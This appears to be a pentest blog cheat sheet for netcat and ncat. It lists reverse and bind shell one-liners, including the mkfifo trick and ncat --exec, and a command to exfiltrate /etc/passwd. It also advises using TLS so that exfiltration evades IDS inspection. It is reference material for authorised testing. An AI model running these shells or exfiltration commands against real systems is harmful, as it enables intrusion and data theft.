root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat netcat.md
// Shells & Pivoting

Netcat

21 Jul 2026 · 5 min read
Netcat (nc) is a utility for reading and writing data across TCP and UDP network connections. It works interchangeably as a client or a server and imposes no protocol on top of the socket, which makes it the go-to tool for setting up listeners, transferring files and getting shells during a pentest.

The nuance that causes the most confusion is -e: it only exists in netcat-traditional, not in the netcat-openbsd build that Kali and Debian ship by default. That is why reliable shells are built with the mkfifo trick or directly with ncat. On top of that, all nc traffic travels in cleartext unless you use ncat --ssl to encrypt the channel with TLS.

1. Beginner level — connections, transfers and shells

NETCAT cheat sheet — Beginner
CommandWhat it does
nc <ip> 80Connect to a port
nc -lvnp 4444Open a listener (verbose, no DNS)
nc -zv <ip> 20-25Port scan (zero-I/O)
nc -lvnp 4444 > fileReceive a file
nc <ip> 4444 < fileSend a file
nc <ip> 4444 -e /bin/bashReverse/bind shell with -e
echo -e 'GET / HTTP/1.0\\n\\n' | nc <ip> 80Manual HTTP request
nc -u <ip> 53UDP connection
nc -lvnp 4444 -w 5Idle timeout (seconds)
nc -lvkp 4444Persistent listener (-k, stays open)
nc <ip> 22Grab a service banner
nc -nv <ip> 4444Connection without DNS resolution
nc <ip> 4444 < /etc/passwdExfiltrate a file
nc -hShow the help

2. Advanced level — transfers, pivoting and Ncat/TLS

NETCAT cheat sheet — Advanced
CommandWhat it does
nc -lvnp 4444 | tee logListener saving what it receives
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvnp 4444 >/tmp/fBind shell without -e
tar czf - /data | nc <ip> 4444Send a compressed directory
nc -lvnp 4444 | tar xzf -Receive and decompress on the fly
nc -lvnp 4444 -e /bin/bashBind shell (listen with a shell)
while true; do nc -lvnp 4444 -e /bin/bash; doneListener that relaunches itself
nc <ip> 4444 -e cmd.exeBind shell on Windows (nc.exe)
dd if=disk.img | nc <ip> 4444Clone a disk over the network
nc -lvnp 4444 > dump.rawReceive a dump to a file
ncat --ssl <ip> 4444Encrypted connection with Ncat
ncat --ssl -lvnp 4444TLS listener with Ncat
ncat -lvnp 4444 --exec '/bin/bash'Shell with Ncat (--exec)
ncat -lvnp 4444 --allow <ip>Restrict who can connect
ncat -lvnp 4444 --sh-exec 'nc 10.10.10.5 80'Port relay with Ncat

3. Details people miss

  • Most modern distros ship netcat-openbsd, which does NOT include -e: for a shell use the mkfifo trick or ncat --exec. The -e flag is only compiled into netcat-traditional.
  • Netcat transmits in cleartext. To exfiltrate data or keep a shell without an IDS reading it all, use ncat --ssl, which encrypts the channel with TLS.
  • A normal listener closes after the first connection; add -k to keep it listening. Keep in mind that -k only makes sense alongside -l.
  • For file transfers, close the sender when it finishes or use -w to force a timeout: the receiver has no way to know when the stream ends and may hang waiting for more data.
  • UDP (-u) is connectionless: nc does not confirm that the other end exists, so a successful "connection" does not guarantee that a service is listening on the other side.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.